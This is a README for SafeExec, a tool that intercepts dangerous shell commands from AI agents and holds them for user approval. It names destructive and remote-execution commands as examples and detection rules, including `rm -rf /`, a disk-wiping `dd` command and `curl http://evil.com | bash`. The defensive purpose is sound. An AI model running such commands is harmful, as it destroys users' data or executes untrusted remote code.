600 lines
14 KiB
Markdown
600 lines
14 KiB
Markdown
|
|
# SafeExec - AI Agent Security Layer
|
|||
|
|
|
|||
|
|
> 🛡️ The last line of defense for AI Agents - Intercept dangerous commands and protect your system
|
|||
|
|
|
|||
|
|
[](https://opensource.org/licenses/MIT)
|
|||
|
|
[](https://openclaw.ai)
|
|||
|
|
[]()
|
|||
|
|
|
|||
|
|
---
|
|||
|
|
|
|||
|
|
## ✨ Why SafeExec?
|
|||
|
|
|
|||
|
|
AI Agents are powerful assistants, but they can also cause serious damage:
|
|||
|
|
|
|||
|
|
- 💥 **Data Deletion** - A simple "clean temp files" might become `rm -rf /`
|
|||
|
|
- 🔥 **System Destruction** - "Optimize disk" might execute `dd if=/dev/zero of=/dev/sda`
|
|||
|
|
- 🚪 **Security Breaches** - "Install this tool" might run `curl http://evil.com | bash`
|
|||
|
|
|
|||
|
|
**SafeExec was built to solve exactly these problems.**
|
|||
|
|
|
|||
|
|
---
|
|||
|
|
|
|||
|
|
## 🎯 Core Features
|
|||
|
|
|
|||
|
|
### 1️⃣ Intelligent Risk Assessment
|
|||
|
|
|
|||
|
|
Automatically detects 10+ categories of dangerous operations:
|
|||
|
|
|
|||
|
|
| Risk Level | Detection Pattern | Description |
|
|||
|
|
|------------|------------------|-------------|
|
|||
|
|
| 🔴 **CRITICAL** | `rm -rf /` | Delete system files |
|
|||
|
|
| 🔴 **CRITICAL** | `dd if=` | Disk destruction |
|
|||
|
|
| 🔴 **CRITICAL** | `mkfs.*` | Format filesystem |
|
|||
|
|
| 🔴 **CRITICAL** | Fork bomb | System DoS |
|
|||
|
|
| 🟠 **HIGH** | `chmod 777` | Privilege escalation |
|
|||
|
|
| 🟠 **HIGH** | `curl | bash` | Code injection |
|
|||
|
|
| 🟠 **HIGH** | Write to `/etc/` | System config tampering |
|
|||
|
|
| 🟡 **MEDIUM** | `sudo` | Privileged operations |
|
|||
|
|
| 🟡 **MEDIUM** | Firewall modification | Network exposure |
|
|||
|
|
|
|||
|
|
### 2️⃣ Command Interception & Approval
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
User Request → AI Agent → safe-exec execution
|
|||
|
|
↓
|
|||
|
|
Risk Assessment
|
|||
|
|
/ \
|
|||
|
|
Safe Dangerous
|
|||
|
|
| |
|
|||
|
|
Execute Intercept + Notify
|
|||
|
|
↓
|
|||
|
|
Wait for User Approval
|
|||
|
|
↓
|
|||
|
|
[Approve] → Execute / [Reject] → Cancel
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
### 3️⃣ Complete Audit Trail
|
|||
|
|
|
|||
|
|
All operations are logged to `~/.openclaw/safe-exec-audit.log`:
|
|||
|
|
|
|||
|
|
```json
|
|||
|
|
{
|
|||
|
|
"timestamp": "2026-01-31T16:44:17.217Z",
|
|||
|
|
"event": "approval_requested",
|
|||
|
|
"requestId": "req_1769877857_2352",
|
|||
|
|
"command": "rm -rf /tmp/test\n",
|
|||
|
|
"risk": "critical",
|
|||
|
|
"reason": "Delete files from root or home directory"
|
|||
|
|
}
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
---
|
|||
|
|
|
|||
|
|
## ⚡ Quick Start (5 Minutes)
|
|||
|
|
|
|||
|
|
### Step 1: Install SafeExec
|
|||
|
|
|
|||
|
|
```bash
|
|||
|
|
# Clone to OpenClaw skills directory
|
|||
|
|
git clone https://github.com/OTTTTTO/safe-exec.git ~/.openclaw/skills/safe-exec
|
|||
|
|
|
|||
|
|
# Add execute permissions
|
|||
|
|
chmod +x ~/.openclaw/skills/safe-exec/*.sh
|
|||
|
|
|
|||
|
|
# Create global commands
|
|||
|
|
ln -sf ~/.openclaw/skills/safe-exec/safe-exec.sh ~/.local/bin/safe-exec
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
### Step 2: Test SafeExec
|
|||
|
|
|
|||
|
|
```bash
|
|||
|
|
# Test safe command (executes directly)
|
|||
|
|
safe-exec "echo 'Hello SafeExec!'"
|
|||
|
|
# Output: Hello SafeExec!
|
|||
|
|
|
|||
|
|
# Test dangerous command (gets intercepted)
|
|||
|
|
safe-exec "rm -rf /tmp/test"
|
|||
|
|
# Output: 🚨 Dangerous operation detected - Command intercepted
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
### Step 3: Use in OpenClaw
|
|||
|
|
|
|||
|
|
Tell OpenClaw in chat:
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
Enable SafeExec
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
Then try a dangerous command:
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
Delete /tmp/test folder
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
OpenClaw will automatically intercept and ask for your approval!
|
|||
|
|
|
|||
|
|
### Step 4: Approve or Reject
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
approve req_xxxxx # Execute command
|
|||
|
|
reject req_xxxxx # Cancel command
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
That's it! 🎉
|
|||
|
|
|
|||
|
|
---
|
|||
|
|
|
|||
|
|
## 🚀 Usage
|
|||
|
|
|
|||
|
|
### Basic Usage
|
|||
|
|
|
|||
|
|
```bash
|
|||
|
|
# Execute command (safe commands run directly)
|
|||
|
|
safe-exec "ls -la"
|
|||
|
|
|
|||
|
|
# Dangerous commands get intercepted
|
|||
|
|
safe-exec "rm -rf /tmp/test"
|
|||
|
|
|
|||
|
|
# List pending requests
|
|||
|
|
safe-exec --list
|
|||
|
|
|
|||
|
|
# Approve request
|
|||
|
|
safe-exec-approve req_xxxxx
|
|||
|
|
|
|||
|
|
# Reject request
|
|||
|
|
safe-exec-reject req_xxxxx
|
|||
|
|
|
|||
|
|
# Check status
|
|||
|
|
safe-exec --status
|
|||
|
|
|
|||
|
|
# Temporarily disable (only for trusted environments)
|
|||
|
|
safe-exec --disable
|
|||
|
|
|
|||
|
|
# Re-enable
|
|||
|
|
safe-exec --enable
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
### Quick Command Tips
|
|||
|
|
|
|||
|
|
```bash
|
|||
|
|
# Quick approve latest request
|
|||
|
|
safe-exec-approve $(ls -t ~/.openclaw/safe-exec/pending/ | head -1 | sed 's/.json//')
|
|||
|
|
|
|||
|
|
# View all pending requests
|
|||
|
|
safe-exec --list | grep "req_"
|
|||
|
|
|
|||
|
|
# View recent audit log
|
|||
|
|
tail -20 ~/.openclaw/safe-exec-audit.log | jq .
|
|||
|
|
|
|||
|
|
# Count interceptions
|
|||
|
|
grep "approval_requested" ~/.openclaw/safe-exec-audit.log | wc -l
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
---
|
|||
|
|
|
|||
|
|
## 📱 OpenClaw Usage Example
|
|||
|
|
|
|||
|
|
### Scenario: Clean temp files in OpenClaw Chat
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
|||
|
|
👤 User: Enable SafeExec
|
|||
|
|
|
|||
|
|
🤖 OpenClaw Agent:
|
|||
|
|
✅ SafeExec enabled!
|
|||
|
|
|
|||
|
|
All dangerous commands will now be intercepted and require your approval.
|
|||
|
|
Protected commands:
|
|||
|
|
• rm -rf / (delete system files)
|
|||
|
|
• dd if= (disk destruction)
|
|||
|
|
• chmod 777 (privilege escalation)
|
|||
|
|
• curl | bash (code injection)
|
|||
|
|
• ... and more
|
|||
|
|
|
|||
|
|
Status: 🛡️ Running
|
|||
|
|
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
|||
|
|
|
|||
|
|
👤 User: Help me force delete all contents of /tmp/test folder
|
|||
|
|
|
|||
|
|
🤖 OpenClaw Agent:
|
|||
|
|
🚨 **Dangerous Operation Detected - Command Intercepted**
|
|||
|
|
|
|||
|
|
**Risk Level:** 🔴 CRITICAL
|
|||
|
|
**Command:** `rm -rf /tmp/test`
|
|||
|
|
**Reason:** Delete files from root or home directory
|
|||
|
|
**Matched Rule:** `rm -rf? [\/~]`
|
|||
|
|
|
|||
|
|
**Request ID:** `req_1769877857_2352`
|
|||
|
|
|
|||
|
|
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
|||
|
|
⚠️ This command requires user approval
|
|||
|
|
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
|||
|
|
|
|||
|
|
📋 **Operation to be executed:**
|
|||
|
|
• Delete directory: /tmp/test
|
|||
|
|
• Delete mode: Recursive force delete
|
|||
|
|
• Impact: All files and subdirectories under that directory
|
|||
|
|
|
|||
|
|
⏰ Request expires in 5 minutes
|
|||
|
|
|
|||
|
|
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
|||
|
|
💡 **Approval Methods:**
|
|||
|
|
1. Reply directly: `approve req_1769877857_2352`
|
|||
|
|
2. Or reply: `safe-exec-approve req_1769877857_2352`
|
|||
|
|
|
|||
|
|
🚫 **Rejection Methods:**
|
|||
|
|
1. Reply directly: `reject req_1769877857_2352`
|
|||
|
|
2. Or reply: `safe-exec-reject req_1769877857_2352`
|
|||
|
|
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
|||
|
|
|
|||
|
|
👤 User: approve req_1769877857_2352
|
|||
|
|
|
|||
|
|
🤖 OpenClaw Agent:
|
|||
|
|
✅ **Request Approved - Executing Command**
|
|||
|
|
|
|||
|
|
**Command:** `rm -rf /tmp/test`
|
|||
|
|
**Status:** Executed successfully
|
|||
|
|
**Deleted:** 15 files, 3 directories
|
|||
|
|
|
|||
|
|
✨ Operation complete! SafeExec continues protection.
|
|||
|
|
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
|||
|
|
|
|||
|
|
👤 User: Disable SafeExec
|
|||
|
|
|
|||
|
|
🤖 OpenClaw Agent:
|
|||
|
|
⚠️ **SafeExec Disabled**
|
|||
|
|
|
|||
|
|
⚠️ All commands will execute directly, without protection!
|
|||
|
|
|
|||
|
|
Only disable in:
|
|||
|
|
✓ Trusted environments
|
|||
|
|
✓ Batch execution of known safe commands
|
|||
|
|
✓ Testing and debugging
|
|||
|
|
|
|||
|
|
Restore protection: Enable SafeExec
|
|||
|
|
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
---
|
|||
|
|
|
|||
|
|
## 🔗 OpenClaw Agent Integration
|
|||
|
|
|
|||
|
|
### Auto-Interception Mode
|
|||
|
|
|
|||
|
|
**Enable SafeExec in OpenClaw config:**
|
|||
|
|
|
|||
|
|
Edit OpenClaw config file (usually `~/.openclaw/config.json`):
|
|||
|
|
|
|||
|
|
```json
|
|||
|
|
{
|
|||
|
|
"tools": {
|
|||
|
|
"exec": {
|
|||
|
|
"security": "allowlist",
|
|||
|
|
"allowlist": [
|
|||
|
|
"safe-exec*",
|
|||
|
|
"ls",
|
|||
|
|
"cat",
|
|||
|
|
"echo"
|
|||
|
|
]
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
### AI Assistant Best Practices
|
|||
|
|
|
|||
|
|
#### Method 1: Wrap All Dangerous Commands
|
|||
|
|
|
|||
|
|
Tell the AI assistant to use safe-exec for all potentially dangerous commands:
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
You: From now on, execute all delete, system file modification, or sudo commands through safe-exec
|
|||
|
|
|
|||
|
|
🤖: Understood! I will route the following command types through safe-exec:
|
|||
|
|
• rm, mv, cp (involving system directories)
|
|||
|
|
• chmod, chown
|
|||
|
|
• All sudo commands
|
|||
|
|
• curl/wget pipe operations
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
#### Method 2: Auto-Detection Mode
|
|||
|
|
|
|||
|
|
Use OpenClaw's HEARTBEAT feature to check for pending approval requests:
|
|||
|
|
|
|||
|
|
Add to `HEARTBEAT.md`:
|
|||
|
|
|
|||
|
|
````markdown
|
|||
|
|
# Heartbeat Check
|
|||
|
|
|
|||
|
|
Run on every heartbeat:
|
|||
|
|
|
|||
|
|
\`\`\`bash
|
|||
|
|
safe-exec --check-pending 2>/dev/null || echo "✅ No pending approval requests"
|
|||
|
|
\`\`\`
|
|||
|
|
|
|||
|
|
If there are pending requests, notify the user.
|
|||
|
|
````
|
|||
|
|
|
|||
|
|
---
|
|||
|
|
|
|||
|
|
## ⚙️ Configuration
|
|||
|
|
|
|||
|
|
### Custom Rules
|
|||
|
|
|
|||
|
|
Edit `~/.openclaw/safe-exec-rules.json`:
|
|||
|
|
|
|||
|
|
```json
|
|||
|
|
{
|
|||
|
|
"rules": [
|
|||
|
|
{
|
|||
|
|
"pattern": "YOUR_REGEX_PATTERN",
|
|||
|
|
"risk": "high",
|
|||
|
|
"description": "Your custom rule description"
|
|||
|
|
}
|
|||
|
|
]
|
|||
|
|
}
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
### Environment Variables
|
|||
|
|
|
|||
|
|
```bash
|
|||
|
|
# Audit log path
|
|||
|
|
export SAFE_EXEC_AUDIT_LOG="$HOME/.openclaw/safe-exec-audit.log"
|
|||
|
|
|
|||
|
|
# Request timeout (seconds)
|
|||
|
|
export SAFE_EXEC_TIMEOUT=300
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
---
|
|||
|
|
|
|||
|
|
## 📊 How It Works
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
┌─────────────────────────────────────────────┐
|
|||
|
|
│ User / AI Agent │
|
|||
|
|
└──────────────────┬──────────────────────────┘
|
|||
|
|
│
|
|||
|
|
▼
|
|||
|
|
┌─────────────────┐
|
|||
|
|
│ safe-exec │
|
|||
|
|
│ (entry point) │
|
|||
|
|
└────────┬─────────┘
|
|||
|
|
│
|
|||
|
|
▼
|
|||
|
|
┌─────────────────┐
|
|||
|
|
│ Risk Assessment │
|
|||
|
|
│ │
|
|||
|
|
│ • Pattern match │
|
|||
|
|
│ • Risk grading │
|
|||
|
|
│ • Rule engine │
|
|||
|
|
└────────┬─────────┘
|
|||
|
|
│
|
|||
|
|
┌─────────┴─────────┐
|
|||
|
|
│ │
|
|||
|
|
[Safe] [Dangerous]
|
|||
|
|
│ │
|
|||
|
|
▼ ▼
|
|||
|
|
Execute Intercept + Notify
|
|||
|
|
│ │
|
|||
|
|
│ ┌─────┴─────┐
|
|||
|
|
│ │ │
|
|||
|
|
│ Wait Audit Log
|
|||
|
|
│ │
|
|||
|
|
│ ┌────┴────┐
|
|||
|
|
│ │ │
|
|||
|
|
│ [Approve] [Reject]
|
|||
|
|
│ │ │
|
|||
|
|
│ ▼ ▼
|
|||
|
|
│ Execute Cancel
|
|||
|
|
│ │
|
|||
|
|
└─────────┴─────────┘
|
|||
|
|
│
|
|||
|
|
▼
|
|||
|
|
┌─────────────┐
|
|||
|
|
│ Audit Log │
|
|||
|
|
└─────────────┘
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
---
|
|||
|
|
|
|||
|
|
## 🔒 Security Features
|
|||
|
|
|
|||
|
|
- ✅ **Zero Trust** - All commands require approval by default
|
|||
|
|
- ✅ **Complete Audit** - Log all security events
|
|||
|
|
- ✅ **Immutable Logs** - Audit logs use append-only mode
|
|||
|
|
- ✅ **Minimal Privilege** - No additional system permissions required
|
|||
|
|
- ✅ **Transparency** - Users always know what's being executed
|
|||
|
|
- ✅ **Configurable** - Flexible rule system
|
|||
|
|
|
|||
|
|
---
|
|||
|
|
|
|||
|
|
## 🧪 Testing
|
|||
|
|
|
|||
|
|
```bash
|
|||
|
|
# Run test suite
|
|||
|
|
bash ~/.openclaw/skills/safe-exec/test.sh
|
|||
|
|
|
|||
|
|
# Manual testing
|
|||
|
|
safe-exec "echo 'Safe command test'"
|
|||
|
|
safe-exec "rm -rf /tmp/test-dangerous"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
---
|
|||
|
|
|
|||
|
|
## 📈 Roadmap
|
|||
|
|
|
|||
|
|
### v0.2.0 (In Progress)
|
|||
|
|
- [ ] Support more notification channels (Telegram, Discord)
|
|||
|
|
- [ ] Web UI approval interface
|
|||
|
|
- [ ] Smarter risk assessment (machine learning)
|
|||
|
|
- [ ] Batch operation support
|
|||
|
|
|
|||
|
|
### v0.3.0 (Planned)
|
|||
|
|
- [ ] Multi-user support
|
|||
|
|
- [ ] RBAC permission control
|
|||
|
|
- [ ] Audit log encryption
|
|||
|
|
- [ ] SIEM integration
|
|||
|
|
|
|||
|
|
### v1.0.0 (Future)
|
|||
|
|
- [ ] Enterprise features
|
|||
|
|
- [ ] SaaS deployment support
|
|||
|
|
- [ ] Complete API
|
|||
|
|
|
|||
|
|
---
|
|||
|
|
|
|||
|
|
## 💡 Best Practices
|
|||
|
|
|
|||
|
|
### Development Environment Setup
|
|||
|
|
|
|||
|
|
```bash
|
|||
|
|
# Add to ~/.bashrc or ~/.zshrc
|
|||
|
|
export SAFE_EXEC_TIMEOUT=300 # 5 minute timeout
|
|||
|
|
export SAFE_EXEC_AUDIT_LOG="$HOME/.openclaw/safe-exec-audit.log"
|
|||
|
|
|
|||
|
|
# Aliases - quick commands
|
|||
|
|
alias se='safe-exec'
|
|||
|
|
alias sea='safe-exec-approve'
|
|||
|
|
alias ser='safe-exec-reject'
|
|||
|
|
alias sel='safe-exec-list'
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
### Team Collaboration
|
|||
|
|
|
|||
|
|
**Shared Rule Set:**
|
|||
|
|
|
|||
|
|
```bash
|
|||
|
|
# 1. Create team rules file
|
|||
|
|
cat > team-rules.json << EOF
|
|||
|
|
{
|
|||
|
|
"enabled": true,
|
|||
|
|
"rules": [
|
|||
|
|
{"pattern": "\\brm\\s+-rf", "risk": "critical", "description": "Team rule: No recursive deletion"},
|
|||
|
|
{"pattern": "production.*restart", "risk": "critical", "description": "Team rule: Production restart"}
|
|||
|
|
]
|
|||
|
|
}
|
|||
|
|
EOF
|
|||
|
|
|
|||
|
|
# 2. Commit to version control
|
|||
|
|
git add team-rules.json
|
|||
|
|
git commit -m "Add team SafeExec rules"
|
|||
|
|
|
|||
|
|
# 3. Team members pull and import
|
|||
|
|
git pull
|
|||
|
|
safe-exec-add-rule --import team-rules.json
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
---
|
|||
|
|
|
|||
|
|
## ❓ FAQ
|
|||
|
|
|
|||
|
|
### Q1: Will SafeExec affect command execution performance?
|
|||
|
|
|
|||
|
|
**A:** No. For safe commands, SafeExec only performs fast pattern matching (< 1ms). Only dangerous commands trigger the approval flow.
|
|||
|
|
|
|||
|
|
### Q2: Can I temporarily disable SafeExec?
|
|||
|
|
|
|||
|
|
**A:** Yes! Use:
|
|||
|
|
|
|||
|
|
```bash
|
|||
|
|
# Temporarily disable (current session)
|
|||
|
|
safe-exec --disable
|
|||
|
|
|
|||
|
|
# Re-enable after executing dangerous commands
|
|||
|
|
safe-exec --enable
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
⚠️ **Note:** Only disable in trusted environments!
|
|||
|
|
|
|||
|
|
### Q3: How do I view my command history?
|
|||
|
|
|
|||
|
|
**A:** Check the audit log:
|
|||
|
|
|
|||
|
|
```bash
|
|||
|
|
# Real-time view
|
|||
|
|
tail -f ~/.openclaw/safe-exec-audit.log
|
|||
|
|
|
|||
|
|
# Formatted display
|
|||
|
|
jq '.' ~/.openclaw/safe-exec-audit.log | less
|
|||
|
|
|
|||
|
|
# View last 10 interceptions
|
|||
|
|
grep "approval_requested" ~/.openclaw/safe-exec-audit.log | tail -10
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
### Q4: Can SafeExec prevent all dangerous operations?
|
|||
|
|
|
|||
|
|
**A:** SafeExec can prevent most common dangerous operations, but not 100%:
|
|||
|
|
|
|||
|
|
✅ **Can prevent:**
|
|||
|
|
- Deleting system files (rm -rf /)
|
|||
|
|
- Disk destruction (dd, mkfs)
|
|||
|
|
- Privilege escalation (chmod 777, sudo)
|
|||
|
|
- Code injection (curl | bash)
|
|||
|
|
|
|||
|
|
❌ **Cannot prevent:**
|
|||
|
|
- Already compromised systems
|
|||
|
|
- Direct hardware operations
|
|||
|
|
- Social engineering attacks
|
|||
|
|
|
|||
|
|
---
|
|||
|
|
|
|||
|
|
## 🤝 Contributing
|
|||
|
|
|
|||
|
|
Contributions welcome! Please see [CONTRIBUTING.md](CONTRIBUTING.md) for details.
|
|||
|
|
|
|||
|
|
```bash
|
|||
|
|
# Fork repository
|
|||
|
|
git clone https://github.com/OTTTTTO/safe-exec.git
|
|||
|
|
|
|||
|
|
# Create feature branch
|
|||
|
|
git checkout -b feature/amazing-feature
|
|||
|
|
|
|||
|
|
# Commit changes
|
|||
|
|
git commit -m "Add amazing feature"
|
|||
|
|
|
|||
|
|
# Push to branch
|
|||
|
|
git push origin feature/amazing-feature
|
|||
|
|
|
|||
|
|
# Open Pull Request
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
---
|
|||
|
|
|
|||
|
|
## 📝 License
|
|||
|
|
|
|||
|
|
MIT License - see [LICENSE](LICENSE) file for details
|
|||
|
|
|
|||
|
|
---
|
|||
|
|
|
|||
|
|
## 🙏 Acknowledgments
|
|||
|
|
|
|||
|
|
- [OpenClaw](https://openclaw.ai) - Powerful AI Agent framework
|
|||
|
|
- [Sudo](https://www.sudo.ws/) - Inspired approval mechanism design
|
|||
|
|
- All contributors and users
|
|||
|
|
|
|||
|
|
---
|
|||
|
|
|
|||
|
|
## 📮 Contact
|
|||
|
|
|
|||
|
|
- **GitHub Issues**: [Submit issues](https://github.com/OTTTTTO/safe-exec/issues)
|
|||
|
|
- **Email**: 731554297@qq.com
|
|||
|
|
- **Discord**: [OpenClaw Community](https://discord.gg/clawd)
|
|||
|
|
|
|||
|
|
---
|
|||
|
|
|
|||
|
|
## 🌟 Star History
|
|||
|
|
|
|||
|
|
If this project helps you, please give it a Star ⭐
|
|||
|
|
|
|||
|
|
---
|
|||
|
|
|
|||
|
|
**Made with ❤️ by the OpenClaw community**
|
|||
|
|
|
|||
|
|
> "AI is a powerful assistant, but security is always the top priority."
|
|||
|
|
|
|||
|
|
---
|
|||
|
|
|
|||
|
|
## 🌐 Languages
|
|||
|
|
|
|||
|
|
- [中文](README.md) | [English](README_EN.md)
|